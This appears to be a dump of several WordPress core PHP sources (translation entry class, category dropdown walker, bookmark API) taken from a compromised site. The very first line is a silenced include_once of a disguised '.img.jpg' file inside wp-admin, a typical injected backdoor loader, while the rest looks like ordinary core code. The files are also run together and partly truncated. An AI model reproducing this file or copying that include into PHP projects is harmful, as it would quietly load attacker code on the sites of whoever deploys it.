@include_once('/home4/ki124183/kefaloniaphoto.com/wp-admin/user/304.img.jpg'); /** * Contains Translation_Entry class * * @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage entry */ if ( ! class_exists( 'Translation_Entry', false ) ): /** * Translation_Entry class encapsulates a translatable string */ class Translation_Entry { /** * Whether the entry contains a string and its plural form, default is false * * @var boolean */ var $is_plural = false; var $context = null; var $singular = null; var $plural = null; var $translations = array(); var $translator_comments = ''; var $extracted_comments = ''; var $references = array(); var $flags = array(); /** * @param array $args associative array, support following keys: * - singular (string) -- the string to translate, if omitted and empty entry will be created * - plural (string) -- the plural form of the string, setting this will set {@link $is_plural} to true * - translations (array) -- translations of the string and possibly -- its plural forms * - context (string) -- a string differentiating two equal strings used in different contexts * - translator_comments (string) -- comments left by translators * - extracted_comments (string) -- comments left by developers * - references (array) -- places in the code this strings is used, in relative_to_root_path/file.php:linenum form * - flags (array) -- flags like php-format */ function __construct( $args = array() ) { // if no singular -- empty object if (!isset($args['singular'])) { return; } // get member variable values from args hash foreach ($args as $varname => $value) { $this->$varname = $value; } if (isset($args['plural']) && $args['plural']) $this->is_plural = true; if (!is_array($this->translations)) $this->translations = array(); if (!is_array($this->references)) $this->references = array(); if (!is_array($this->flags)) $this->flags = array(); } /** * PHP4 constructor. */ public function Translation_Entry( $args = array() ) { self::__construct( $args ); } /** * Generates a unique key for this entry * * @return string|bool the key or false if the entry is empty */ function key() { if ( null === $this->singular || '' === $this->singular ) return false; // Prepend context and EOT, like in MO files $key = !$this->context? $this->singular : $this->context.chr(4).$this->singular; // Standardize on \n line endings $key = str_replace( array( "\r\n", "\r" ), "\n", $key ); return $key; } /** * @param object $other */ function merge_with(&$other) { $this->flags = array_unique( array_merge( $this->flags, $other->flags ) ); $this->references = array_unique( array_merge( $this->references, $other->references ) ); if ( $this->extracted_comments != $other->extracted_comments ) { $this->extracted_comments .= $other->extracted_comments; } } } endif; /** * Taxonomy API: Walker_CategoryDropdown class * * @package WordPress * @subpackage Template * @since 4.4.0 */ /** * Core class used to create an HTML dropdown list of Categories. * * @since 2.1.0 * * @see Walker */ class Walker_CategoryDropdown extends Walker { /** * What the class handles. * * @since 2.1.0 * @access private * @var string * * @see Walker::$tree_type */ public $tree_type = 'category'; /** * Database fields to use. * * @since 2.1.0 * @access public * @todo Decouple this * @var array * * @see Walker::$db_fields */ public $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); /** * Starts the element output. * * @since 2.1.0 * @access public * * @see Walker::start_el() * * @param string $output Passed by reference. Used to append additional content. * @param object $category Category data object. * @param int $depth Depth of category. Used for padding. * @param array $args Uses 'selected', 'show_count', and 'value_field' keys, if they exist. * See wp_dropdown_categories(). * @param int $id Optional. ID of the current category. Default 0 (unused). */ public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) { $pad = str_repeat(' ', $depth * 3); /** This filter is documented in wp-includes/category-template.php */ $cat_name = apply_filters( 'list_cats', $category->name, $category ); if ( isset( $args['value_field'] ) && isset( $category->{$args['value_field']} ) ) { $value_field = $args['value_field']; } else { $value_field = 'term_id'; } $output .= "\t\n"; } } /** * Link/Bookmark API * * @package WordPress * @subpackage Bookmark */ /** * Retrieve Bookmark data * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|stdClass $bookmark * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to * an stdClass object, an associative array, or a numeric array, respectively. Default OBJECT. * @param string $filter Optional, default is 'raw'. * @return array|object|null Type returned depends on $output value. */ function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') { global $wpdb; if ( empty($bookmark) ) { if ( isset($GLOBALS['link']) ) $_bookmark = & $GLOBALS['link']; else $_bookmark = null; } elseif ( is_object($bookmark) ) { wp_cache_add($bookmark->link_id, $bookmark, 'bookmark'); $_bookmark = $bookmark; } else { if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) { $_bookmark = & $GLOBALS['link']; } elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) { $_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark)); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } if ( ! $_bookmark ) return $_bookmark; $_bookmark = sanitize_bookmark($_bookmark, $filter); if ( $output == OBJECT ) { return $_bookmark; } elseif ( $output == ARRAY_A ) { return get_object_vars($_bookmark); } elseif ( $output == ARRAY_N ) { return array_values(get_object_vars($_bookmark)); } else { return $_bookmark; } } /** * Retrieve single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return * @param int $bookmark The bookmark ID to get field * @param string $context Optional. The context of how the field will be used. * @return string|WP_Error */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error($bookmark) ) return $bookmark; if ( !is_object($bookmark) ) return ''; if ( !isset($bookmark->$field) ) return ''; return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context); } /** * Retrieves the list of bookmarks * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts post fields. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts 1+ or -1 for all. * Default -1. * @type string $category Comma-separated list of category ids to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * } * @return array List of bookmark row objects. */ function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '' ); $r = wp_parse_args( $args, $defaults ); $key = md5( serialize( $r ) ); $cache = false; if ( 'rand' !== $r['orderby'] && $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $r An array of bookmark query arguments. */ return apply_filters( 'get_bookmarks', $bookmarks, $r ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $r['include'] ) ) { $r['exclude'] = ''; //ignore exclude, category, and category_name params if using include $r['category'] = ''; $r['category_name'] = ''; $inclinks = preg_split( '/[\s,]+/', $r['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . intval( $inclink ) . ' '; } else { $inclusions .= ' OR link_id = ' . intval( $inclink ) . ' '; } } } } if (! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $r['exclude'] ) ) { $exlinks = preg_split( '/[\s,]+/', $r['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . intval( $exlink ) . ' '; } else { $exclusions .= ' AND link_id <> ' . intval( $exlink ) . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $r['category_name'] ) ) { if ( $r['category'] = get_term_by('name', $r['category_name'], 'link_category') ) { $r['category'] = $r['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', array(), $r ); } } $search = ''; if ( ! empty( $r['search'] ) ) { $like = '%' . $wpdb->esc_like( $r['search'] ) . '%'; $search = $wpdb->prepare(" AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ", $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $r['category'] ) ) { $incategories = preg_split( '/[\s,]+/', $r['category'] ); if ( count($incategories) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . intval( $incat ) . ' '; } else { $category_query .= ' OR tt.term_id = ' . intval( $incat ) . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $r['show_updated'] ) { $recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated "; } else { $recently_updated_test = ''; } $get_updated = ( $r['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $r['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ", CHAR_LENGTH(link_name) AS length"; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $r['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ) ) ) { $order = 'ASC'; } $visible = ''; if ( $r['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( $r['limit'] != -1 ) { $query .= ' LIMIT ' . $r['limit']; } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', $results, $r ); } /** * Sanitizes all bookmark fields * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row * @param string $context Optional, default is 'display'. How to filter the * fields * @return stdClass|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark($bookmark, $context = 'display') { $fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object($bookmark) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset($bookmark->$field) ) $bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context); } else { if ( isset($bookmark[$field]) ) $bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context); } } return $bookmark; } /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'attribute', * 'js', 'db', or 'display' * @return mixed The filtered value. */ function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { switch ( $field ) { case 'link_id' : // ints case 'link_rating' : $value = (int) $value; break; case 'link_category' : // array( ints ) $value = array_map('absint', (array) $value); // We return here so that the categories aren't filtered. // The 'link_category' filter is for the name of a link category, not an array of a link's link categories return $value; case 'link_visible' : // bool stored as Y|N $value = preg_replace('/[^YNyn]/', '', $value); break; case 'link_target' : // "enum" $targets = array('_top', '_blank'); if ( ! in_array($value, $targets) ) $value = ''; break; } if ( 'raw' == $context ) return $value; if ( 'edit' == $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "edit_$field", $value, $bookmark_id ); if ( 'link_notes' == $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr($value); } } elseif ( 'db' == $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "pre_$field", $value ); } else { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( $field, $value, $bookmark_id, $context ); if ( 'attribute' == $context ) { $value = esc_attr( $value ); } elseif ( 'js' == $context ) { $value = esc_js( $value ); } } return $value; } /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link'); }